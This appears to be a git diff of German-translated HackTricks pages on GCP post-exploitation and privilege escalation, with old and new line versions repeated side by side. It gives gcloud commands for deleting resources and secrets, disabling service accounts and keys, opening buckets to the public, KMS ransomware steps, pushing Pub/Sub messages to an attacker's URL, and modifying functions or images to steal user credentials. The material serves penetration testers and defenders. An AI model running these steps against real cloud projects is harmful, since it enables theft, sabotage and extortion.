gcloud app services delete <SERVICE_NAME>
```
### Quellcode lesen
Der Source Code aller Versionen und Services wird **im Bucket gespeichert** mit dem Namen **`staging.<proj-id>.appspot.com`**. Wenn Sie Schreibzugriff darauf haben, können Sie den Source Code lesen und nach **vulnerabilities** und **sensiblen Informationen** suchen.
Der Quellcode aller Versionen und Dienste ist im Bucket mit dem Namen **`staging.<proj-id>.appspot.com`** gespeichert. Wenn Sie Schreibzugriff darauf haben, können Sie den Quellcode lesen und nach Schwachstellen sowie sensiblen Informationen suchen.
### Source Code ändern
### Quellcode ändern
Ändern Sie den Source Code, um credentials zu stehlen, falls diese gesendet werden, oder um eine defacement web attack durchzuführen.
Ändern Sie den Quellcode, um Zugangsdaten zu stehlen, falls diese übertragen werden, oder um einen Defacement-Angriff auf die Website durchzuführen.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Cloud Functions
Weitere Informationen zu Cloud Functions finden Sie in:
Weitere Informationen zu Cloud Functions findest du in:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,30 +12,31 @@ Weitere Informationen zu Cloud Functions finden Sie in:
### `cloudfunctions.functions.sourceCodeGet`
Mit dieser Berechtigung können Sie eine **signierte URL erhalten, um den Quellcode der Cloud Function herunterladen zu können:**
<details>
<summary>Signierte URL zum Herunterladen des Quellcodes abrufen</summary>
Mit dieser Berechtigung kannst du eine **signierte URL erhalten, um den Quellcode herunterladen zu können** der Cloud Function:
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
</details>
### `cloudfunctions.functions.delete`
Die Berechtigung `cloudfunctions.functions.delete` erlaubt einer Identität, eine Cloud Function vollständig zu löschen, einschließlich ihres Codes, ihrer Konfiguration, ihrer Trigger und ihrer Zuordnung zu service accounts.
```bash
gcloud functions delete <FUNCTION_NAME> \
--region=us-central1 \
--quiet
```
### Code Exfiltration durch den Bucket
Die Berechtigungen `storage.objects.get` und `storage.objects.list` erlauben das Auflisten und Lesen von Objekten in einem Bucket. Im Fall von Cloud Functions ist das besonders relevant, da jede Funktion ihren Quellcode in einem automatisch verwalteten Google-Bucket speichert, dessen Name dem Format `gcf-sources-<PROJECT_NUMBER>-<REGION>` folgt.
### Steal Cloud Function Requests
Wenn die Cloud Function sensible Informationen verarbeitet, die Nutzer senden (z. B. Passwörter oder Tokens), könnten Sie mit ausreichenden Rechten **modify the source code of the function and exfiltrate** diese Informationen.
### Cloud Function-Anfragen abgreifen
Außerdem verwenden Cloud Functions, die in python laufen, **flask**, um den Webserver bereitzustellen. Wenn Sie auf irgendeine Weise eine code injection vulnerability innerhalb des flask-Prozesses finden (z. B. eine SSTI vulnerability), ist es möglich, **override the function handler** zu erreichen, der die HTTP requests für eine **malicious function** empfangen wird, die die Anfrage **exfiltrate** kann, bevor sie an den legit handler weitergeleitet wird.
Wenn die Cloud Function sensible Informationen verarbeitet, die Benutzer senden (z. B. Passwörter oder Tokens), können Sie mit ausreichenden Rechten den Quellcode der Funktion **ändern und diese Informationen exfiltrieren**.
Außerdem nutzen Cloud Functions, die in python laufen, **flask**, um den Webserver bereitzustellen. Wenn Sie eine Code-Injection-Schwachstelle im flask-Prozess finden (z. B. eine SSTI-Schwachstelle), ist es möglich, den Function-Handler zu **überschreiben**, der die HTTP-Anfragen entgegennimmt, durch eine **bösartige Funktion**, die die Anfrage **exfiltrieren** kann, bevor sie an den legitimen Handler weitergeleitet wird.
Zum Beispiel implementiert dieser Code den Angriff:
<details>
<summary>Steal Cloud Function requests (Python injection)</summary>
```python
import functions_framework
@@ -132,8 +133,4 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,20 +4,31 @@
## Cloud Run
Für weitere Informationen über Cloud Run siehe:
Weitere Informationen zu Cloud Run finden Sie unter:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
{{#endref}}
### CloudRun-Job löschen
Die `run.services.delete` und `run.services.get` Berechtigungen sowie `run.jobs.delete` erlauben einer Identität, einen Cloud Run Service oder Job vollständig zu löschen, einschließlich seiner Konfiguration und Historie. In den Händen eines Angreifers kann dies zu sofortigen Unterbrechungen von Anwendungen oder kritischen Workflows führen und einen Denial of Service (DoS) für Benutzer und Systeme verursachen, die von der Service-Logik oder essenziellen geplanten Aufgaben abhängen.
Um einen Job zu löschen, kann die folgende Operation ausgeführt werden.
```bash
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
```
Um einen Service zu löschen, kann die folgende Operation ausgeführt werden.
```bash
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
```
### Zugriff auf die Images
Wenn Sie auf die Container-Images zugreifen können, überprüfen Sie den Code auf Schwachstellen und hartcodierte sensible Informationen. Auch auf sensible Informationen in Umgebungsvariablen.
Wenn Sie auf die Container-Images zugreifen können, prüfen Sie den Code auf Schwachstellen und hartkodierte sensible Informationen. Suchen Sie auch nach sensiblen Informationen in env variables.
Wenn die Images in Repos innerhalb des Dienstes Artifact Registry gespeichert sind und der Benutzer Lesezugriff auf die Repos hat, könnte er auch das Image von diesem Dienst herunterladen.
Wenn die Images in Repositories des Dienstes Artifact Registry gespeichert sind und der Benutzer Lesezugriff auf die Repositories hat, kann das Image auch von diesem Dienst heruntergeladen werden.
### Bild ändern & neu bereitstellen
### Image modifizieren & neu bereitstellen
Ändern Sie das Lauf-Image, um Informationen zu stehlen, und stellen Sie die neue Version neu bereit (einfaches Hochladen eines neuen Docker-Containers mit denselben Tags führt nicht zur Ausführung). Wenn es beispielsweise eine Anmeldeseite bereitstellt, stehlen Sie die Anmeldeinformationen, die die Benutzer senden.
Modifizieren Sie das run-Image, um Informationen zu entwenden, und stellen Sie die neue Version wieder bereit (einfaches Hochladen eines neuen docker-Containers mit denselben Tags führt nicht zur Ausführung). Zum Beispiel: Wenn eine Login-Seite exponiert ist, können Sie die Anmeldeinformationen abgreifen, die Benutzer senden.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,30 +4,48 @@
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
Sie können weitere Informationen zu IAM finden in:
You can find further information about IAM in:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
### Gewähren von Zugriff auf die Management-Konsole <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
### Granting access to management console <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
Der Zugriff auf die [GCP management console](https://console.cloud.google.com) wird **Benutzerkonten gewährt, nicht Servicekonten**. Um sich an der Weboberfläche anzumelden, können Sie **einem Google-Konto** das Sie kontrollieren, Zugriff gewähren. Dabei kann es sich um ein generisches "**@gmail.com**"-Konto handeln; es **muss kein Mitglied der Zielorganisation sein**.
Der Zugriff auf die [GCP management console](https://console.cloud.google.com) wird **Benutzerkonten, nicht Servicekonten**, bereitgestellt. Um sich an der Weboberfläche anzumelden, können Sie **einem Google-Konto, das Sie kontrollieren, Zugriff gewähren**. Dies kann ein generisches "**@gmail.com**"-Konto sein; es muss **kein Mitglied der Zielorganisation** sein.
Um einem generischen "@gmail.com"-Konto jedoch die primitive Rolle **Owner** zu **gewähren**, müssen Sie die **Webkonsole** verwenden. `gcloud` gibt einen Fehler aus, wenn Sie versuchen, ihm eine Berechtigung oberhalb von **Editor** zu gewähren.
Um dem generischen "**@gmail.com**"-Konto jedoch die primitive Rolle **Owner** zu **gewähren**, müssen Sie die **Webkonsole** benutzen. `gcloud` gibt einen Fehler zurück, wenn Sie versuchen, ihm eine Berechtigung über Editor zu gewähren.
Sie können folgenden Befehl verwenden, um einem Benutzer die primitive Rolle **Editor** für Ihr bestehendes Projekt zu **gewähren**:
<details>
<summary>Editor-Rolle an Benutzer vergeben</summary>
Sie können den folgenden Befehl verwenden, um einem Benutzer die primitive Rolle **Editor** für Ihr bestehendes Projekt zu gewähren:
```bash
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
```
</details>
Wenn Sie hier erfolgreich waren, versuchen Sie, **die Weboberfläche aufzurufen** und dort zu erkunden.
Wenn Ihnen das hier gelungen ist, versuchen Sie, **die Weboberfläche aufzurufen** und dort weiter zu erkunden.
Dies ist das **höchste Level, das Sie mit dem gcloud-Tool zuweisen können**.
### Löschen von IAM-Komponenten `iam.*.delete`
Die `iam.*.delete`-Berechtigungen (z. B. `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete` usw.) erlauben einer Identität, kritische IAM-Komponenten zu löschen, wie benutzerdefinierte Rollen, API-Key-Bindings, Service-Account-Keys und die Service-Accounts selbst. In den Händen eines Angreifers ermöglicht dies das Entfernen legitimer Zugriffsmechanismen und kann zu einem Denial-of-Service führen.
Um einen solchen Angriff durchzuführen, kann man zum Beispiel Rollen mit folgendem Befehl löschen:
```bash
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
```
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
Die `iam.serviceAccountKeys.disable` und `iam.serviceAccounts.disable` Berechtigungen erlauben das Deaktivieren aktiver service account keys oder service accounts, was in den Händen eines Angreifers dazu verwendet werden könnte, den Betrieb zu stören, denial of service zu verursachen oder die incident response zu behindern, indem die Nutzung legitimer Anmeldeinformationen verhindert wird.
Um einen Service Account zu deaktivieren, können Sie den folgenden Befehl verwenden:
```bash
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
```
Um die Keys eines Service Accounts zu deaktivieren, können Sie den folgenden Befehl verwenden:
```bash
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
```
### `iam.*.undelete`
Die `iam.*.undelete`-Berechtigungen ermöglichen das Wiederherstellen zuvor gelöschter Elemente wie API key bindings, benutzerdefinierter Rollen oder Servicekonten. In den Händen eines Angreifers kann dies genutzt werden, um defensive Maßnahmen rückgängig zu machen (entfernten Zugriff wiederherzustellen), gelöschte Kompromittierungsvektoren wiederherzustellen, um Persistenz aufrechtzuerhalten, oder Abhilfemaßnahmen zu umgehen, wodurch die Eindämmung von Vorfällen erschwert wird.
```bash
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# GCP - KMS Post Exploitation
# GCP - KMS Post-Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## KMS
Grundlegende Informationen zu KMS findest du in:
Grundlegende Informationen zu KMS finden Sie in:
{{#ref}}
../gcp-services/gcp-kms-enum.md
@@ -12,11 +12,11 @@ Grundlegende Informationen zu KMS findest du in:
### `cloudkms.cryptoKeyVersions.destroy`
Ein Angreifer mit dieser Berechtigung könnte eine KMS-Version zerstören. Dafür musst du zunächst den Schlüssel deaktivieren und danach zerstören:
Ein Angreifer mit dieser Berechtigung könnte eine KMS-Version zerstören. Um dies zu tun, müssen Sie zuerst den Schlüssel deaktivieren und ihn dann zerstören:
<details>
<summary>Key-Version deaktivieren und zerstören (Python)</summary>
<summary>Schlüsselversion deaktivieren und zerstören (Python)</summary>
```python
# pip install google-cloud-kms
@@ -65,18 +65,18 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
### KMS Ransomware
In AWS ist es möglich, vollständig einen **KMS-Schlüssel zu stehlen**, indem man die KMS-Ressourcenrichtlinie ändert und nur dem Konto des Angreifers erlaubt, den Schlüssel zu verwenden. Da diese Ressourcenrichtlinien in GCP nicht existieren, ist das nicht möglich.
In AWS ist es möglich, vollständig **steal a KMS key** zu erreichen, indem man die KMS resource policy ändert und nur dem attackers account erlaubt, den Schlüssel zu verwenden. Da diese resource policies in GCP nicht existieren, ist das nicht möglich.
Allerdings gibt es einen anderen Weg, ein globales KMS Ransomware durchzuführen, der die folgenden Schritte umfassen würde:
Es gibt jedoch einen anderen Weg, ein globales KMS Ransomware durchzuführen, der die folgenden Schritte umfassen würde:
- Erstelle eine neue **Version des Schlüssels mit Schlüsselmaterial**, das vom Angreifer importiert wurde
- Erstelle eine neue **version of the key with a key material** imported by the attacker
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
- Setze es als **Standardversion** (für zukünftig verschlüsselte Daten)
- **Ältere Daten neu verschlüsseln**, die mit der vorherigen Version verschlüsselt wurden, mit der neuen Version.
- **Den KMS-Schlüssel löschen**
- Nun könnte nur noch der Angreifer, der das ursprüngliche Schlüsselmaterial besitzt, in der Lage sein, die verschlüsselten Daten zu entschlüsseln
- **Ältere Daten erneut verschlüsseln**, die mit der vorherigen Version verschlüsselt wurden, mit der neuen Version.
- **Lösche den KMS-Schlüssel**
- Nun könnte nur noch der attacker, der das ursprüngliche Schlüsselmaterial besitzt, die verschlüsselten Daten entschlüsseln
#### Hier sind die Schritte, um eine neue Version zu importieren und die älteren Daten zu deaktivieren/löschen:
@@ -270,6 +270,32 @@ return verify_response.success
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
```
### `cloudkms.cryptoKeyVersions.restore`
Die Berechtigung `cloudkms.cryptoKeyVersions.restore` erlaubt einer Identität, eine zuvor zur Zerstörung vorgemerkte oder in Cloud KMS deaktivierte Schlüsselversion wiederherzustellen und in einen aktiven, nutzbaren Zustand zurückzuführen.
```bash
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
### `cloudkms.cryptoKeyVersions.update`
Die `cloudkms.cryptoKeyVersions.update`-Berechtigung erlaubt einer Identität, die Attribute oder den Zustand einer bestimmten Schlüsselversion in Cloud KMS zu ändern, zum Beispiel indem sie diese aktiviert oder deaktiviert.
```bash
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# GCP - Pub/Sub Post-Exploitation
# GCP - Pub/Sub Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Für mehr Informationen über Pub/Sub siehe die folgende Seite:
### `pubsub.topics.publish`
Veröffentlicht eine Nachricht in einem Topic, nützlich, um **unerwartete Daten zu senden** und unerwartete Funktionen auszulösen oder Schwachstellen auszunutzen:
Publiziert eine Nachricht in einem Topic, nützlich um **unerwartete Daten zu senden** und unerwartete Funktionalitäten auszulösen oder Schwachstellen auszunutzen:
<details>
@@ -25,7 +25,7 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
### `pubsub.topics.detachSubscription`
Nützlich, um zu verhindern, dass eine Subscription Nachrichten empfängt, möglicherweise um eine Entdeckung zu vermeiden.
Nützlich, um zu verhindern, dass eine subscription Nachrichten empfängt, möglicherweise um die Erkennung zu vermeiden.
<details>
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
### `pubsub.topics.delete`
Nützlich, um zu verhindern, dass eine subscription Nachrichten empfängt, vielleicht um eine Erkennung zu vermeiden.\
Es ist möglich, ein topic zu löschen, selbst wenn subscriptions daran angehängt sind.
Nützlich, um zu verhindern, dass eine subscription Nachrichten erhält, möglicherweise um eine Erkennung zu vermeiden.\
Es ist möglich, ein topic zu löschen, selbst wenn daran subscriptions angehängt sind.
<details>
<summary>Topic löschen</summary>
<summary>Delete topic</summary>
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
@@ -50,26 +50,52 @@ gcloud pubsub topics delete <TOPIC NAME>
### `pubsub.topics.update`
Verwende diese Berechtigung, um eine Einstellung des Topics zu ändern, um es zu stören, z. B. `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
Nutze diese Berechtigung, um eine Einstellung des Topics zu ändern und es dadurch zu stören, z. B. `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
### `pubsub.topics.setIamPolicy`
Gib dir selbst die Berechtigung, einen der vorherigen Angriffe durchzuführen.
Gib dir selbst die Berechtigung, beliebige der vorherigen Angriffe auszuführen.
```bash
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
Hole alle Nachrichten auf einem Webserver:
Alle Nachrichten auf einem Webserver abrufen:
<details>
<summary>Erstelle eine push subscription, um Nachrichten zu empfangen</summary>
<summary>Push-Subscription erstellen, um Nachrichten zu empfangen</summary>
```bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
```
</details>
Erstelle eine Pull-Subscription und rufe Nachrichten per Pull ab:
Erstelle eine Subscription und verwende diese, um **Nachrichten abzurufen**:
<details>
@@ -86,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.delete`
**Ein Abonnement löschen** kann nützlich sein, um ein Log-Processing-System oder etwas Ähnliches zu stören:
**Das Löschen einer Subscription** könnte nützlich sein, um ein Log-Processing-System oder etwas Ähnliches zu stören:
<details>
<summary>Abonnement löschen</summary>
<summary>Subscription löschen</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
```
@@ -98,7 +124,7 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.update`
Verwende diese Berechtigung, um eine Einstellung zu ändern, sodass Nachrichten an einem Ort gespeichert werden, auf den du zugreifen kannst (URL, Big Query table, Bucket) oder um sie einfach zu stören.
Verwende diese Berechtigung, um eine Einstellung zu aktualisieren, sodass Nachrichten an einem Ort gespeichert werden, auf den du zugreifen kannst (URL, Big Query table, Bucket) oder einfach um sie zu stören.
<details>
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
### `pubsub.subscriptions.setIamPolicy`
Gib dir die Berechtigungen, die benötigt werden, um eine der zuvor beschriebenen Angriffe auszuführen.
Gib dir die Berechtigungen, die nötig sind, um eine der zuvor beschriebenen attacks durchzuführen.
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
Hänge ein schema an ein topic, sodass die Nachrichten es nicht erfüllen und dadurch das topic gestört wird.\
Hänge ein schema an ein topic an, sodass die messages es nicht erfüllen und dadurch das topic gestört wird.\
Falls keine schemas vorhanden sind, musst du möglicherweise eines erstellen.
<details>
<summary>Erstelle eine schema-Datei und hänge sie an ein topic an</summary>
<summary>Erstelle eine schema-Datei und hänge sie an das topic an</summary>
```json:schema.json
{
"namespace": "com.example",
@@ -148,7 +174,7 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
### `pubsub.schemas.delete`
Das könnte so aussehen, als würde das Löschen eines Schemas es ermöglichen, Nachrichten zu senden, die nicht dem Schema entsprechen. Allerdings werden, da das Schema gelöscht ist, keine Nachrichten tatsächlich in das Topic gelangen. Daher ist das **NUTZLOS**:
Das könnte so aussehen, als würde durch das Löschen eines Schemas ermöglicht, Nachrichten zu senden, die nicht dem Schema entsprechen. Allerdings, da das Schema gelöscht wird, gelangt keine Nachricht tatsächlich in das Topic. Daher ist das **NUTZLOS**:
<details>
@@ -160,15 +186,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
### `pubsub.schemas.setIamPolicy`
Gib dir die Berechtigungen, die nötig sind, um einen der zuvor genannten Angriffe durchzuführen.
Verschaffe dir die Berechtigungen, die nötig sind, um eine der zuvor beschriebenen Angriffe durchzuführen.
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
Dies erstellt einen Snapshot aller unACKed Nachrichten und spielt sie wieder in die subscription ein. Für einen Angreifer nicht sehr nützlich, aber hier ist es:
Dies erstellt einen Snapshot aller unACKed messages und setzt sie wieder in die subscription zurück. Für einen Angreifer nicht sehr nützlich, aber hier ist es:
<details>
<summary>Snapshot erstellen und darauf seeken</summary>
<summary>Snapshot erstellen und zu diesem seeken</summary>
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME

View File

@@ -12,15 +12,36 @@ Für weitere Informationen zum Secret Manager siehe:
### `secretmanager.versions.access`
Dies gibt dir Zugriff, die Secrets aus dem Secret Manager zu lesen und kann möglicherweise helfen, Privilegien zu eskalieren (abhängig davon, welche Informationen im Secret gespeichert sind):
Dies gibt dir Zugriff, die secrets aus dem secret manager zu lesen und könnte dabei helfen, Privilegien zu eskalieren (abhängig davon, welche Informationen im Secret gespeichert sind):
<details>
<summary>Secret-Version abrufen</summary>
<summary>Zugriff auf Secret-Version</summary>
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
### `secretmanager.versions.destroy`
Die `secretmanager.versions.destroy`-Berechtigung erlaubt einer Identität, eine bestimmte Version eines Secrets in Secret Manager dauerhaft zu zerstören (als unwiderruflich gelöscht zu markieren), was die Entfernung kritischer Anmeldeinformationen ermöglichen und potenziell zu einem denial of service führen oder die Wiederherstellung sensibler Daten verhindern könnte.
```bash
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.versions.disable`
Die Berechtigung `secretmanager.versions.disable` erlaubt einer Identität, aktive Secret-Versionen in Secret Manager zu deaktivieren, wodurch deren Nutzung durch Anwendungen oder Dienste, die von ihnen abhängen, vorübergehend blockiert wird.
```bash
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.secrets.delete`
Die Berechtigung `secretmanager.secrets.delete` erlaubt einer Identität, ein secret und alle seine gespeicherten Versionen in Secret Manager vollständig zu löschen.
```bash
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
```
### `secretmanager.secrets.update`
Die Berechtigung `secretmanager.secrets.update` erlaubt einer Identität, die Metadaten und die Konfiguration eines Secrets zu ändern (zum Beispiel Rotationseinstellungen, Versionsrichtlinie, Labels und bestimmte Eigenschaften des Secrets).
```bash
gcloud secrets update SECRET_NAME \
--project=PROJECT_ID \
--clear-labels \
--rotation-period=DURATION
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -10,13 +10,9 @@ Für weitere Informationen über Cloud Storage siehe diese Seite:
../gcp-services/gcp-storage-enum.md
{{#endref}}
### Öffentlichen Zugriff gewähren
### Give Public Access
Es ist möglich, externen Benutzern (ob in GCP angemeldet oder nicht) Zugriff auf den Inhalt von Buckets zu gewähren. Standardmäßig ist die Option, ein Bucket öffentlich zugänglich zu machen, jedoch deaktiviert:
<details>
<summary>Bucket/Objekte öffentlich machen</summary>
Es ist möglich, externen Nutzern (mit oder ohne Login in GCP) Zugriff auf den Inhalt von buckets zu geben. Standardmäßig ist die Option, einen bucket öffentlich zugänglich zu machen, jedoch deaktiviert:
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -29,10 +25,61 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
</details>
Wenn du versuchst, einem bucket mit deaktivierten ACLs ACLs zuzuweisen, erscheint folgender Fehler: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Wenn Sie versuchen, **ACLs für einen bucket mit deaktivierten ACLs** zu vergeben, erhalten Sie diesen Fehler: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Um auf offene buckets über den Browser zuzugreifen, rufe die URL `https://<bucket_name>.storage.googleapis.com/` oder `https://<bucket_name>.storage.googleapis.com/<object_name>` auf
Um auf offene buckets über den Browser zuzugreifen, rufen Sie die URL `https://<bucket_name>.storage.googleapis.com/` oder `https://<bucket_name>.storage.googleapis.com/<object_name>` auf
### `storage.objects.delete` (`storage.objects.get`)
Um ein Objekt zu löschen:
```bash
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
```
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
Um einen Bucket zu löschen:
```bash
gcloud storage rm -r gs://<BUCKET_NAME>
```
### HMAC-Schlüssel deaktivieren
Die Berechtigung `storage.hmacKeys.update` erlaubt das Deaktivieren von HMAC-Schlüsseln, und die Berechtigung `storage.hmacKeys.delete` erlaubt einer Identität, HMAC-Schlüssel zu löschen, die mit Dienstkonten in Cloud Storage verknüpft sind.
```bash
# Deactivate
gcloud storage hmac update <ACCESS_ID> --deactivate
# Delete
gcloud storage hmac delete <ACCESS_ID>
```
### `storage.buckets.setIpFilter` & `storage.buckets.update`
Die Berechtigung `storage.buckets.setIpFilter` zusammen mit der Berechtigung `storage.buckets.update` erlaubt einer Identität, IP-Adressfilter auf einem Cloud Storage bucket zu konfigurieren und festzulegen, welche IP-Bereiche oder -Adressen Zugriff auf die Ressourcen des Buckets haben.
Um den IP-Filter vollständig zu löschen, kann der folgende Befehl verwendet werden:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
```
Um die gefilterten IP-Adressen zu ändern, kann der folgende Befehl verwendet werden:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> \
--ip-filter-file=ip-filter.json \
--project=<PROJECT_ID>
```
Die JSON-Datei repräsentiert den Filter selbst, etwa so:
```bash
{
"mode": "Enabled",
"publicNetworkSource": {
"allowedIpCidrRanges": ["<IP>/<MASK>"]
},
"allowCrossOrgVpcs": false,
"allowAllServiceAgentAccess": false
}
```
### `storage.buckets.restore`
Einen Bucket wiederherstellen mit:
```bash
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,87 +1,139 @@
# GCP - Apikeys Privesc
# GCP - AppEngine Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Apikeys
## App Engine
Die folgenden Berechtigungen sind nützlich, um API keys zu erstellen und zu stehlen. Beachte dies aus der Dokumentation: _Ein API key ist eine einfache verschlüsselte Zeichenfolge, die **eine Anwendung ohne Principal identifiziert**. Sie sind nützlich, um **öffentliche Daten anonym** zuzugreifen, und werden verwendet, um API-Anfragen mit Ihrem Projekt für Kontingente und **Abrechnung** zu **verknüpfen**._
Daher können Sie mit einem API key das Unternehmen Ihre Nutzung der API bezahlen lassen, aber Sie können damit keine Privilegien eskalieren.
Für weitere Informationen zu API Keys siehe:
Für weitere Informationen über App Engine siehe:
{{#ref}}
../gcp-services/gcp-api-keys-enum.md
../gcp-services/gcp-app-engine-enum.md
{{#endref}}
Für andere Wege, API Keys zu erstellen, siehe:
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
Das sind die benötigten Berechtigungen, um eine App mit dem `gcloud` cli zu deployen. Möglicherweise könnten die **`get`**- und **`list`**-Rechte **entfallen**.
You can find python code examples in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
Standardmäßig heißt der App-Service **`default`**, und es kann nur 1 Instanz mit demselben Namen geben.\
Um ihn zu ändern und eine zweite App zu erstellen, ändere in **`app.yaml`** den Wert des Root-Keys in etwas wie **`service: my-second-app`**
```bash
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
```
Gib ihm mindestens 1015 Minuten Zeit; wenn es nicht funktioniert, **nochmals deployen** und ein paar Minuten warten.
> [!NOTE]
> Es ist **möglich, den zu verwendenden Service Account anzugeben**, aber standardmäßig wird das App Engine default SA verwendet.
Die URL der Anwendung sieht etwa so aus: `https://<proj-name>.oa.r.appspot.com/` oder `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
### Äquivalente Update-Berechtigungen
